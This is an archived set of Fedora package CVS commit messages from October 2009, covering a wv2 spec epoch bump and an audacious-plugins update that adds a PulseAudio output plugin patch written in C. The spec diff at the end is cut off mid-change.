+f2fb7c48cc6b1af6f76dd0529d6dbd98  foomatic-filters-4.0.3.tar.gz


--- foomatic-2.0.2-fontpath.patch DELETED ---


--- foomatic-sigpipe.patch DELETED ---



From rdieter at fedoraproject.org  Thu Oct 22 15:46:14 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 22 Oct 2009 15:46:14 +0000 (UTC)
Subject: rpms/wv2/devel wv2.spec,1.20,1.21
Message-ID: <20091022154614.26D4911C008C@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/wv2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14106

Modified Files:
	wv2.spec 
Log Message:
* Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:0.4.1-2
- Epoch: 1



Index: wv2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wv2/devel/wv2.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- wv2.spec	9 Oct 2009 15:24:41 -0000	1.20
+++ wv2.spec	22 Oct 2009 15:46:13 -0000	1.21
@@ -1,7 +1,8 @@
 
 Name:           wv2
+Epoch:          1
 Version:        0.4.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A library which allows access to Microsoft Word files
 
 Group:          System Environment/Libraries
@@ -100,6 +101,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:0.4.1-2
+- Epoch: 1
+
 * Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.4.1-1
 - wv2-0.4.1 (ABI bump)
 



From mschwendt at fedoraproject.org  Thu Oct 22 15:50:04 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Thu, 22 Oct 2009 15:50:04 +0000 (UTC)
Subject: rpms/audacious-plugins/devel
	audacious-plugins-2.2-beta1-pulseaudio.patch, NONE,
	1.1 .cvsignore, 1.19, 1.20 README, 1.2,
	1.3 audacious-plugins.spec, 1.53, 1.54 sources, 1.20,
	1.21 audacious-plugins-1.5.1-timidity-cfg.patch, 1.1,
	NONE audacious-plugins-2.1-alsa-ng.patch, 1.1,
	NONE audacious-plugins-2.1-pulseaudio-volume-accuracy.patch, 1.1,
	NONE audacious-plugins-2.1-pulseaudio-volume.patch, 1.1,
	NONE audacious-plugins-2.1-underruns.patch, 1.2, NONE
Message-ID: <20091022155004.52C8311C02A1@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15520

Modified Files:
	.cvsignore README audacious-plugins.spec sources 
Added Files:
	audacious-plugins-2.2-beta1-pulseaudio.patch 
Removed Files:
	audacious-plugins-1.5.1-timidity-cfg.patch 
	audacious-plugins-2.1-alsa-ng.patch 
	audacious-plugins-2.1-pulseaudio-volume-accuracy.patch 
	audacious-plugins-2.1-pulseaudio-volume.patch 
	audacious-plugins-2.1-underruns.patch 
Log Message:
* Thu Oct 22 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.1.beta1
- Upgrade to 2.2-beta1
- Backport old pulse_audio plugin from Audacious 2.1
  and patch it to fix volume issues.


audacious-plugins-2.2-beta1-pulseaudio.patch:
 configure                     |    2 
 src/pulse_audio/Makefile      |   12 
 src/pulse_audio/pulse_audio.c |  786 ++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 799 insertions(+), 1 deletion(-)

--- NEW FILE audacious-plugins-2.2-beta1-pulseaudio.patch ---
"pulse_audio" plugin updated for Audacious 2.2
Michael Schwendt <mschwendt at users.sf.net>

diff -Nur audacious-plugins-fedora-2.2-beta1-orig/configure audacious-plugins-fedora-2.2-beta1/configure
--- audacious-plugins-fedora-2.2-beta1-orig/configure	2009-10-20 23:37:27.000000000 +0200
+++ audacious-plugins-fedora-2.2-beta1/configure	2009-10-22 13:18:45.400508540 +0200
@@ -7483,7 +7483,7 @@
 
 
 INPUT_PLUGINS="tonegen console psf xsf metronom vtx"
-OUTPUT_PLUGINS="crossfade null"
+OUTPUT_PLUGINS="crossfade null pulse_audio"
 EFFECT_PLUGINS="audiocompress crystalizer ladspa voice_removal sndstretch stereo_plugin echo_plugin"
 GENERAL_PLUGINS="song_change alarm skins vfstrace gtkui"
 VISUALIZATION_PLUGINS="blur_scope spectrum"
diff -Nur audacious-plugins-fedora-2.2-beta1-orig/src/pulse_audio/Makefile audacious-plugins-fedora-2.2-beta1/src/pulse_audio/Makefile
--- audacious-plugins-fedora-2.2-beta1-orig/src/pulse_audio/Makefile	1970-01-01 01:00:00.000000000 +0100
+++ audacious-plugins-fedora-2.2-beta1/src/pulse_audio/Makefile	2009-07-07 00:40:36.000000000 +0200
@@ -0,0 +1,12 @@
+PLUGIN = pulse_audio${PLUGIN_SUFFIX}
+
+SRCS = pulse_audio.c
+
+include ../../buildsys.mk
+include ../../extra.mk
+
+plugindir := ${plugindir}/${OUTPUT_PLUGIN_DIR}
+
+CFLAGS += ${PLUGIN_CFLAGS}
+CPPFLAGS += ${PLUGIN_CPPFLAGS} ${BEEP_DEFINES} ${MOWGLI_CFLAGS} ${GTK_CFLAGS} ${GLIB_CFLAGS}  -I../..
+LIBS += -lpulse ${GTK_LIBS} ${GLIB_LIBS} 
diff -Nur audacious-plugins-fedora-2.2-beta1-orig/src/pulse_audio/pulse_audio.c audacious-plugins-fedora-2.2-beta1/src/pulse_audio/pulse_audio.c
--- audacious-plugins-fedora-2.2-beta1-orig/src/pulse_audio/pulse_audio.c	1970-01-01 01:00:00.000000000 +0100
+++ audacious-plugins-fedora-2.2-beta1/src/pulse_audio/pulse_audio.c	2009-10-22 17:26:53.215617316 +0200
@@ -0,0 +1,786 @@
+/***
+  This file is part of xmms-pulse.
+
+  xmms-pulse is free software; you can redistribute it and/or modify
+  it under the terms of the GNU General Public License as published by
+  the Free Software Foundation; either version 2 of the License, or
+  (at your option) any later version.
+
+  xmms-pulse is distributed in the hope that it will be useful, but
+  WITHOUT ANY WARRANTY; without even the implied warranty of
+  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+  General Public License for more details.
+
+  You should have received a copy of the GNU General Public License
+  along with xmms-pulse; if not, write to the Free Software
+  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
+  USA.
+***/
+
+#include "config.h"
+
+#include <stdio.h>
+#include <assert.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+#include <limits.h>
+
+#include <gtk/gtk.h>
+#include <audacious/plugin.h>
+#include <audacious/i18n.h>
+
+#include <pulse/pulseaudio.h>
+
+static pa_context *context = NULL;
+static pa_stream *stream = NULL;
+static pa_threaded_mainloop *mainloop = NULL;
+
+static pa_cvolume volume;
+static int volume_valid = 0;
+
+static int do_trigger = 0;
+static uint64_t written = 0;
+static int time_offset_msec = 0;
+static int just_flushed = 0;
+
+static int connected = 0;
+
+static pa_time_event *volume_time_event = NULL;
+
+#define CHECK_DEAD_GOTO(label, warn) do { \
+if (!mainloop || \
+    !context || pa_context_get_state(context) != PA_CONTEXT_READY || \
+    !stream || pa_stream_get_state(stream) != PA_STREAM_READY) { \
+        if (warn) \
+            AUDDBG("Connection died: %s", context ? pa_strerror(pa_context_errno(context)) : "NULL"); \
+        goto label; \
+    }  \
+} while(0);
+
+#define CHECK_CONNECTED(retval) \
+do { \
+    if (!connected) return retval; \
+} while (0);
+
+static const char* get_song_name(void) {
+    static char t[256];
+    gint pos;
+    char *str, *u;
+    gint playlist = aud_playlist_get_active();
+
+    if (!(str = aud_playlist_get_title(playlist)))
+        return "Playback Stream";
+    snprintf(t, sizeof(t), "%s", u = pa_locale_to_utf8(str));
+    pa_xfree(u);
+
+    return t;
+}
+
+static void info_cb(struct pa_context *c, const struct pa_sink_input_info *i, int is_last, void *userdata) {
+    assert(c);
+
+    if (!i)
+        return;
+
+    volume = i->volume;
+    volume_valid = 1;
+}
+
+static void subscribe_cb(struct pa_context *c, enum pa_subscription_event_type t, uint32_t index, void *userdata) {
+    pa_operation *o;
+
+    assert(c);
+
+    if (!stream ||
+        index != pa_stream_get_index(stream) ||
+        (t != (PA_SUBSCRIPTION_EVENT_SINK_INPUT|PA_SUBSCRIPTION_EVENT_CHANGE) &&
+         t != (PA_SUBSCRIPTION_EVENT_SINK_INPUT|PA_SUBSCRIPTION_EVENT_NEW)))
+        return;
+
+    if (!(o = pa_context_get_sink_input_info(c, index, info_cb, NULL))) {
+        AUDDBG("pa_context_get_sink_input_info() failed: %s", pa_strerror(pa_context_errno(c)));
+        return;
+    }
+
+    pa_operation_unref(o);
+}
+
+static void context_state_cb(pa_context *c, void *userdata) {
+    assert(c);
+
+    switch (pa_context_get_state(c)) {
+        case PA_CONTEXT_READY:
+        case PA_CONTEXT_TERMINATED:
+        case PA_CONTEXT_FAILED:
+            pa_threaded_mainloop_signal(mainloop, 0);
+            break;
+
+        case PA_CONTEXT_UNCONNECTED:
+        case PA_CONTEXT_CONNECTING:
+        case PA_CONTEXT_AUTHORIZING:
+        case PA_CONTEXT_SETTING_NAME:
+            break;
+    }
+}
+
+static void stream_state_cb(pa_stream *s, void * userdata) {
+    assert(s);
+
+    switch (pa_stream_get_state(s)) {
+
+        case PA_STREAM_READY:
+        case PA_STREAM_FAILED:
+        case PA_STREAM_TERMINATED:
+            pa_threaded_mainloop_signal(mainloop, 0);
+            break;
+
+        case PA_STREAM_UNCONNECTED:
+        case PA_STREAM_CREATING:
+            break;
+    }
+}
+
+static void stream_success_cb(pa_stream *s, int success, void *userdata) {
+    assert(s);
+
+    if (userdata)
+        *(int*) userdata = success;
+
+    pa_threaded_mainloop_signal(mainloop, 0);
+}
+
+static void context_success_cb(pa_context *c, int success, void *userdata) {
+    assert(c);
+
+    if (userdata)
+        *(int*) userdata = success;
+
+    pa_threaded_mainloop_signal(mainloop, 0);
+}
+
+static void stream_request_cb(pa_stream *s, size_t length, void *userdata) {
+    assert(s);
+
+    pa_threaded_mainloop_signal(mainloop, 0);
+}
+
+static void stream_latency_update_cb(pa_stream *s, void *userdata) {
+    assert(s);
+
+    pa_threaded_mainloop_signal(mainloop, 0);
+}
+
+static void pulse_get_volume(int *l, int *r) {
+    pa_cvolume v;
+    int b = 0;
+
+    *l = *r = 100;
+
+    if (connected) {
+        pa_threaded_mainloop_lock(mainloop);
+        CHECK_DEAD_GOTO(fail, 1);
+
+        v = volume;
+        b = volume_valid;
+
+    fail:
+        pa_threaded_mainloop_unlock(mainloop);
+    } else {
+        v = volume;
+        b = volume_valid;
+    }
+
+    if (b) {
+        if (v.channels == 2) {
+            *l = (int) ((v.values[0]*100)/PA_VOLUME_NORM);
+            *r = (int) ((v.values[1]*100)/PA_VOLUME_NORM);
+        } else
+            *l = *r = (int) ((pa_cvolume_avg(&v)*100)/PA_VOLUME_NORM);
+    }
+}
+
+static void volume_time_cb(pa_mainloop_api *api, pa_time_event *e, const struct timeval *tv, void *userdata) {
+    pa_operation *o;
+
+    if (!(o = pa_context_set_sink_input_volume(context, pa_stream_get_index(stream), &volume, NULL, NULL)))
+        AUDDBG("pa_context_set_sink_input_volume() failed: %s", pa_strerror(pa_context_errno(context)));
+    else
+        pa_operation_unref(o);
+
+    /* We don't wait for completion of this command */
+
+    api->time_free(volume_time_event);
+    volume_time_event = NULL;
+}
+
+static void pulse_set_volume(int l, int r) {
+
+    if (connected) {
+        pa_threaded_mainloop_lock(mainloop);
+        CHECK_DEAD_GOTO(fail, 1);
+    }
+
+    if (!volume_valid || volume.channels !=  1) {
+        volume.values[0] = ((pa_volume_t) l * PA_VOLUME_NORM)/100;
+        volume.values[1] = ((pa_volume_t) r * PA_VOLUME_NORM)/100;
+        volume.channels = 2;
+    } else {
+        volume.values[0] = ((pa_volume_t) l * PA_VOLUME_NORM)/100;
+        volume.channels = 1;
+    }
+
+    volume_valid = 1;
+
+    if (connected && !volume_time_event) {
+        struct timeval tv;
+        pa_mainloop_api *api = pa_threaded_mainloop_get_api(mainloop);
+        volume_time_event = api->time_new(api, pa_timeval_add(pa_gettimeofday(&tv), 100000), volume_time_cb, NULL);
+    }
+
+fail:
+    if (connected)
+        pa_threaded_mainloop_unlock(mainloop);
+}
+
+static void pulse_pause(short b) {
+    pa_operation *o = NULL;
+    int success = 0;
+
+    CHECK_CONNECTED();
+
+    pa_threaded_mainloop_lock(mainloop);
+    CHECK_DEAD_GOTO(fail, 1);
+
+    if (!(o = pa_stream_cork(stream, b, stream_success_cb, &success))) {
+        AUDDBG("pa_stream_cork() failed: %s", pa_strerror(pa_context_errno(context)));
+        goto fail;
+    }
+
+    while (pa_operation_get_state(o) != PA_OPERATION_DONE) {
+        CHECK_DEAD_GOTO(fail, 1);
+        pa_threaded_mainloop_wait(mainloop);
+    }
+
+    if (!success)
+        AUDDBG("pa_stream_cork() failed: %s", pa_strerror(pa_context_errno(context)));
+
+fail:
+
+    if (o)
+        pa_operation_unref(o);
+
+    pa_threaded_mainloop_unlock(mainloop);
+}
+
+static int pulse_free(void) {
+    size_t l = 0;
+    pa_operation *o = NULL;
+
+    CHECK_CONNECTED(0);
+
+    pa_threaded_mainloop_lock(mainloop);
+    CHECK_DEAD_GOTO(fail, 1);
+
+    if ((l = pa_stream_writable_size(stream)) == (size_t) -1) {
+        AUDDBG("pa_stream_writable_size() failed: %s", pa_strerror(pa_context_errno(context)));
+        l = 0;
+        goto fail;
+    }
+
+    /* If this function is called twice with no pulse_write() call in
+     * between this means we should trigger the playback */
+    if (do_trigger) {
+        int success = 0;
+
+        if (!(o = pa_stream_trigger(stream, stream_success_cb, &success))) {
+            AUDDBG("pa_stream_trigger() failed: %s", pa_strerror(pa_context_errno(context)));
+            goto fail;
+        }
+
+        while (pa_operation_get_state(o) != PA_OPERATION_DONE) {
+            CHECK_DEAD_GOTO(fail, 1);
+            pa_threaded_mainloop_wait(mainloop);
+        }
+
+        if (!success)
+            AUDDBG("pa_stream_trigger() failed: %s", pa_strerror(pa_context_errno(context)));
+    }
+
+fail:
+    if (o)
+        pa_operation_unref(o);
+
+    pa_threaded_mainloop_unlock(mainloop);
+
+    do_trigger = !!l;
+    return (int) l;
+}
+
+static int pulse_get_written_time(void) {
+    int r = 0;
+
+    CHECK_CONNECTED(0);
+
+    pa_threaded_mainloop_lock(mainloop);
+    CHECK_DEAD_GOTO(fail, 1);
+
+    r = (int) (((double) written*1000) / pa_bytes_per_second(pa_stream_get_sample_spec(stream)));
+
+fail:
+    pa_threaded_mainloop_unlock(mainloop);
+
+    return r;
+}
+
+static int pulse_get_output_time(void) {
+    int r = 0;
+    pa_usec_t t;
+
+    CHECK_CONNECTED(0);
+
+    pa_threaded_mainloop_lock(mainloop);
+
+    for (;;) {
+        CHECK_DEAD_GOTO(fail, 1);
+
+        if (pa_stream_get_time(stream, &t) >= 0)
+            break;
+
+        if (pa_context_errno(context) != PA_ERR_NODATA) {
+            AUDDBG("pa_stream_get_time() failed: %s", pa_strerror(pa_context_errno(context)));
+            goto fail;
+        }
+
+        pa_threaded_mainloop_wait(mainloop);
+    }
+
+    r = (int) (t / 1000);
+
+    if (just_flushed) {
+        time_offset_msec -= r;
+        just_flushed = 0;
+    }
+
+    r += time_offset_msec;
+
+fail:
+    pa_threaded_mainloop_unlock(mainloop);
+
+    return r;
+}
+
+static int pulse_playing(void) {
+    int r = 0;
+    const pa_timing_info *i;
+
+    CHECK_CONNECTED(0);
+
+    pa_threaded_mainloop_lock(mainloop);
+
+    for (;;) {
+        CHECK_DEAD_GOTO(fail, 1);
+
+        if ((i = pa_stream_get_timing_info(stream)))
+            break;
+
+        if (pa_context_errno(context) != PA_ERR_NODATA) {
+            AUDDBG("pa_stream_get_timing_info() failed: %s", pa_strerror(pa_context_errno(context)));
+            goto fail;
+        }
+
+        pa_threaded_mainloop_wait(mainloop);
+    }
+
+    r = i->playing;
+
+fail:
+    pa_threaded_mainloop_unlock(mainloop);
+
+    return r;
+}
+
+static void pulse_flush(int time) {
+    pa_operation *o = NULL;
+    int success = 0;
+
+    CHECK_CONNECTED();
+
+    pa_threaded_mainloop_lock(mainloop);
+    CHECK_DEAD_GOTO(fail, 1);
+
+    /* gapless playback: new stream, reset the title. --nenolod */
+    if (time == 0) {
+        pa_stream_set_name(stream, get_song_name(), stream_success_cb, &success);
+    }
+
+    if (!(o = pa_stream_flush(stream, stream_success_cb, &success))) {
+        AUDDBG("pa_stream_flush() failed: %s", pa_strerror(pa_context_errno(context)));
+        goto fail;
+    }
+
+    while (pa_operation_get_state(o) != PA_OPERATION_DONE) {
+        CHECK_DEAD_GOTO(fail, 1);
+        pa_threaded_mainloop_wait(mainloop);
+    }
+
+    if (!success)
+        AUDDBG("pa_stream_flush() failed: %s", pa_strerror(pa_context_errno(context)));
+
+    written = (uint64_t) (((double) time * pa_bytes_per_second(pa_stream_get_sample_spec(stream))) / 1000);
+    just_flushed = 1;
+    time_offset_msec = time;
+
+fail:
+    if (o)
+        pa_operation_unref(o);
+
+    pa_threaded_mainloop_unlock(mainloop);
+}
+
+static void pulse_write(void* ptr, int length) {
+    gint writeoffs, remain, writable;
+
+    CHECK_CONNECTED();
+
+    pa_threaded_mainloop_lock(mainloop);
+    CHECK_DEAD_GOTO(fail, 1);
+
+    /* break large fragments into smaller fragments. --nenolod */
+    for (writeoffs = 0, remain = length;
+         writeoffs < length;
+         writeoffs += writable, remain -= writable)
+    {
+         gpointer pptr = ptr + writeoffs;
+
+         writable = length - writeoffs;
+         size_t fragsize = pa_stream_writable_size(stream);
+
+         /* don't write more than what PA is willing to handle right now. */
+         if (writable > fragsize)
+             writable = fragsize;
+
+         if (pa_stream_write(stream, pptr, writable, NULL, PA_SEEK_RELATIVE, 0) < 0) {
+             AUDDBG("pa_stream_write() failed: %s", pa_strerror(pa_context_errno(context)));
+             goto fail;
+         }
+    }
+
+    do_trigger = 0;
+    written += length;
+
+fail:
+    pa_threaded_mainloop_unlock(mainloop);
+}
+
+static void drain(void) {
+    pa_operation *o = NULL;
+    int success = 0;
+
+    CHECK_CONNECTED();
+
+    pa_threaded_mainloop_lock(mainloop);
+    CHECK_DEAD_GOTO(fail, 0);
+
+    if (!(o = pa_stream_drain(stream, stream_success_cb, &success))) {
+        AUDDBG("pa_stream_drain() failed: %s", pa_strerror(pa_context_errno(context)));
+        goto fail;
+    }
+
+    while (pa_operation_get_state(o) != PA_OPERATION_DONE) {
+        CHECK_DEAD_GOTO(fail, 1);
+        pa_threaded_mainloop_wait(mainloop);
+    }
+
+    if (!success)
+        AUDDBG("pa_stream_drain() failed: %s", pa_strerror(pa_context_errno(context)));
+
+fail:
+    if (o)
+        pa_operation_unref(o);
+
+    pa_threaded_mainloop_unlock(mainloop);
+}
+
+static void pulse_close(void)
+{
+    drain();
+
+    connected = 0;
+
+    if (mainloop)
+        pa_threaded_mainloop_stop(mainloop);
+
+    if (stream) {
+        pa_stream_disconnect(stream);
+        pa_stream_unref(stream);
+        stream = NULL;
+    }
+
+    if (context) {
+        pa_context_disconnect(context);
+        pa_context_unref(context);
+        context = NULL;
+    }
+
+    if (mainloop) {
+        pa_threaded_mainloop_free(mainloop);
+        mainloop = NULL;
+    }
+
+    volume_time_event = NULL;
+}
+
+static OutputPluginInitStatus pulse_init(void) {
+    pa_sample_spec ss;
+
+    g_assert(!mainloop);
+    g_assert(!context);
+    g_assert(!stream);
+    g_assert(!connected);
+
+    ss.format = PA_SAMPLE_S16NE;
+    ss.rate = 44100;
+    ss.channels = 2;
+
+    if (!pa_sample_spec_valid(&ss))
+        return OUTPUT_PLUGIN_INIT_FAIL;
+
+    if (!(mainloop = pa_threaded_mainloop_new())) {
+        pulse_close();
+        return OUTPUT_PLUGIN_INIT_FAIL;
+    }
+
+    pulse_close();
+    return OUTPUT_PLUGIN_INIT_FOUND_DEVICES;
+}
+
+static int pulse_open(AFormat fmt, int rate, int nch) {
+    pa_sample_spec ss;
+    pa_operation *o = NULL;
+    int success;
+
+    g_assert(!mainloop);
+    g_assert(!context);
+    g_assert(!stream);
+    g_assert(!connected);
+
+    switch(fmt)
+    {
+        case FMT_U8:
+            ss.format = PA_SAMPLE_U8;
+            break;
+        case FMT_S16_LE:
+            ss.format = PA_SAMPLE_S16LE;
+            break;
+        case FMT_S16_BE:
+            ss.format = PA_SAMPLE_S16BE;
+            break;
+        case FMT_S16_NE:
+            ss.format = PA_SAMPLE_S16NE;
+            break;
+#if 0 /* pulseaudio only handles 16 and 32bit formats*/
+        case FMT_S24_LE:
+            ss.format = PA_SAMPLE_S24LE;
+            break;
+        case FMT_S24_BE:
+            ss.format = PA_SAMPLE_S24BE;
+            break;
+        case FMT_S24_NE:
+            ss.format = PA_SAMPLE_S24NE;
+            break;
+#endif
+        case FMT_S32_LE:
+            ss.format = PA_SAMPLE_S32LE;
+            break;
+        case FMT_S32_BE:
+            ss.format = PA_SAMPLE_S32BE;
+            break;
+        case FMT_S32_NE:
+            ss.format = PA_SAMPLE_S32NE;
+            break;
+	case FMT_FLOAT:
+            ss.format = PA_SAMPLE_FLOAT32NE;
+            break;
+        default:
+            return FALSE;
+    }
+    ss.rate = rate;
+    ss.channels = nch;
+
+    if (!pa_sample_spec_valid(&ss))
+        return FALSE;
+
+    if (!(mainloop = pa_threaded_mainloop_new())) {
+        AUDDBG("Failed to allocate main loop");
+        goto fail;
+    }
+
+    pa_threaded_mainloop_lock(mainloop);
+
+    if (!(context = pa_context_new(pa_threaded_mainloop_get_api(mainloop), "Audacious"))) {
+        AUDDBG("Failed to allocate context");
+        goto unlock_and_fail;
+    }
+
+    pa_context_set_state_callback(context, context_state_cb, NULL);
+    pa_context_set_subscribe_callback(context, subscribe_cb, NULL);
+
+    if (pa_context_connect(context, NULL, 0, NULL) < 0) {
+        AUDDBG("Failed to connect to server: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+
+    if (pa_threaded_mainloop_start(mainloop) < 0) {
+        AUDDBG("Failed to start main loop");
+        goto unlock_and_fail;
+    }
+
+    /* Wait until the context is ready */
+    pa_threaded_mainloop_wait(mainloop);
+
+    if (pa_context_get_state(context) != PA_CONTEXT_READY) {
+        AUDDBG("Failed to connect to server: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+
+    if (!(stream = pa_stream_new(context, get_song_name(), &ss, NULL))) {
+        AUDDBG("Failed to create stream: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+
+    pa_stream_set_state_callback(stream, stream_state_cb, NULL);
+    pa_stream_set_write_callback(stream, stream_request_cb, NULL);
+    pa_stream_set_latency_update_callback(stream, stream_latency_update_cb, NULL);
+
+    /* Connect stream with sink and default volume */
+    if (pa_stream_connect_playback(stream, NULL, NULL, PA_STREAM_INTERPOLATE_TIMING|PA_STREAM_AUTO_TIMING_UPDATE, NULL, NULL) < 0) {
+        AUDDBG("Failed to connect stream: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+
+    /* Wait until the stream is ready */
+    pa_threaded_mainloop_wait(mainloop);
+
+    if (pa_stream_get_state(stream) != PA_STREAM_READY) {
+        AUDDBG("Failed to connect stream: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+
+    /* Now subscribe to events */
+    if (!(o = pa_context_subscribe(context, PA_SUBSCRIPTION_MASK_SINK_INPUT, context_success_cb, &success))) {
+        AUDDBG("pa_context_subscribe() failed: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+
+    success = 0;
+    while (pa_operation_get_state(o) != PA_OPERATION_DONE) {
+        CHECK_DEAD_GOTO(fail, 1);
+        pa_threaded_mainloop_wait(mainloop);
+    }
+
+    if (!success) {
+        AUDDBG("pa_context_subscribe() failed: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+
+    pa_operation_unref(o);
+
+    /* Now request the initial stream info */
+    if (!(o = pa_context_get_sink_input_info(context, pa_stream_get_index(stream), info_cb, NULL))) {
+        AUDDBG("pa_context_get_sink_input_info() failed: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+
+    while (pa_operation_get_state(o) != PA_OPERATION_DONE) {
+        CHECK_DEAD_GOTO(fail, 1);
+        pa_threaded_mainloop_wait(mainloop);
+    }
+
+    if (!volume_valid) {
+        AUDDBG("pa_context_get_sink_input_info() failed: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+    pa_operation_unref(o);
+    
+    do_trigger = 0;
+    written = 0;
+    time_offset_msec = 0;
+    just_flushed = 0;
+    connected = 1;
+    volume_time_event = NULL;
+
+    pa_threaded_mainloop_unlock(mainloop);
+
+    return TRUE;
+
+unlock_and_fail:
+
+    if (o)
+        pa_operation_unref(o);
+
+    pa_threaded_mainloop_unlock(mainloop);
+
+fail:
+
+    pulse_close();
+
+    return FALSE;
+}
+
+static void pulse_about(void) {
+    static GtkWidget *dialog;
+
+    if (dialog != NULL)
+        return;
+
+    dialog = audacious_info_dialog(
+            _("About Audacious PulseAudio Output Plugin"),
+            _("Audacious PulseAudio Output Plugin\n\n "
+            "This program is free software; you can redistribute it and/or modify\n"
+            "it under the terms of the GNU General Public License as published by\n"
+            "the Free Software Foundation; either version 2 of the License, or\n"
+            "(at your option) any later version.\n"
+            "\n"
+            "This program is distributed in the hope that it will be useful,\n"
+            "but WITHOUT ANY WARRANTY; without even the implied warranty of\n"
+            "MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n"
+            "GNU General Public License for more details.\n"
+            "\n"
+            "You should have received a copy of the GNU General Public License\n"
+            "along with this program; if not, write to the Free Software\n"
+            "Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,\n"
+            "USA."),
+            _("OK"),
+            FALSE,
+            NULL,
+            NULL);
+
+    gtk_signal_connect(
+            GTK_OBJECT(dialog),
+            "destroy",
+            GTK_SIGNAL_FUNC(gtk_widget_destroyed),
+            &dialog);
+}
+
+static OutputPlugin pulse_op = {
+        .description = "PulseAudio Output Plugin",
+        .probe_priority = 8,
+        .init = pulse_init,
+        .about = pulse_about,
+        .get_volume = pulse_get_volume,
+        .set_volume = pulse_set_volume,
+        .open_audio = pulse_open,
+        .write_audio = pulse_write,
+        .close_audio = pulse_close,
+        .flush = pulse_flush,
+        .pause = pulse_pause,
+        .buffer_free = pulse_free,
+        .buffer_playing = pulse_playing,
+        .output_time = pulse_get_output_time,
+        .written_time = pulse_get_written_time,
+};
+
+OutputPlugin *pulse_oplist[] = { &pulse_op, NULL };
+
+SIMPLE_OUTPUT_PLUGIN(pulser, pulse_oplist);


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/devel/.cvsignore,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- .cvsignore	14 Jul 2009 17:24:08 -0000	1.19
+++ .cvsignore	22 Oct 2009 15:50:03 -0000	1.20
@@ -1 +1 @@
-audacious-plugins-fedora-2.1.tar.bz2
+audacious-plugins-fedora-2.2-beta1.tar.bz2


Index: README
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/devel/README,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- README	21 Sep 2009 10:31:43 -0000	1.2
+++ README	22 Oct 2009 15:50:03 -0000	1.3
@@ -1,3 +1,15 @@
+2.2-beta1 removes alsa-ng plugin. The only remaining choice, alsa-gapless,
+fails to initialise with alsa-plugins-pulseaudio + pulseaudio.
+
+[...]
+
+Audacious 2.2-alpha2 defaults to alsa-ng output plugin, which fails
+to work with PulseAudio (F-11). Switching to the only other choice, the
+experimental alsa-gapless plugin, doesn't work either. There is no
+pulseaudio plugin anymore.
+
+[...]
+
 2009-09-20:
 With alsa-gapless output plugin in 2.2-alpha1 on Fedora 11 the poll()
 playback freezes have returned for me.


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/devel/audacious-plugins.spec,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- audacious-plugins.spec	21 Oct 2009 20:58:19 -0000	1.53
+++ audacious-plugins.spec	22 Oct 2009 15:50:04 -0000	1.54
@@ -1,11 +1,11 @@
 # Minimum audacious/audacious-plugins version in inter-package
 # dependencies.
-# We need 2.1 as 2.0.1 is insufficient.
-%define aud_ver 2.1
+# We need 2.2 as 2.1 is insufficient.
+%define aud_ver 2.2
 
 Name: audacious-plugins
-Version: 2.1
-Release: 7%{?dist}
+Version: 2.2
+Release: 0.1.beta1%{?dist}
 Summary: Plugins for the Audacious media player
 Group: Applications/Multimedia
 URL: http://audacious-media-player.org/
@@ -19,15 +19,11 @@ License: GPLv2 and GPLv2+ and LGPLv2+ an
 # Removed: aac alc demac tta wma
 # Not removed (no codec included): madplug mms
 # Disabled via options where possible, see %%build.
-Source0: audacious-plugins-fedora-%{version}.tar.bz2
+Source0: audacious-plugins-fedora-%{version}-beta1.tar.bz2
 #Source0: http://distfiles.atheme.org/audacious-plugins-%{version}.tgz
 
-Patch1: audacious-plugins-1.5.1-timidity-cfg.patch
 Patch2: audacious-plugins-2.0.1-xmms-skindir.patch
-Patch3: audacious-plugins-2.1-alsa-ng.patch
-Patch4: audacious-plugins-2.1-underruns.patch
-Patch5: audacious-plugins-2.1-pulseaudio-volume.patch
-Patch6: audacious-plugins-2.1-pulseaudio-volume-accuracy.patch
+Patch3: audacious-plugins-2.2-beta1-pulseaudio.patch
 
 BuildRequires: audacious-devel >= %{aud_ver}
 BuildRequires: jack-audio-connection-kit-devel libsamplerate-devel
@@ -146,14 +142,11 @@ vortex compressed files.
 
 
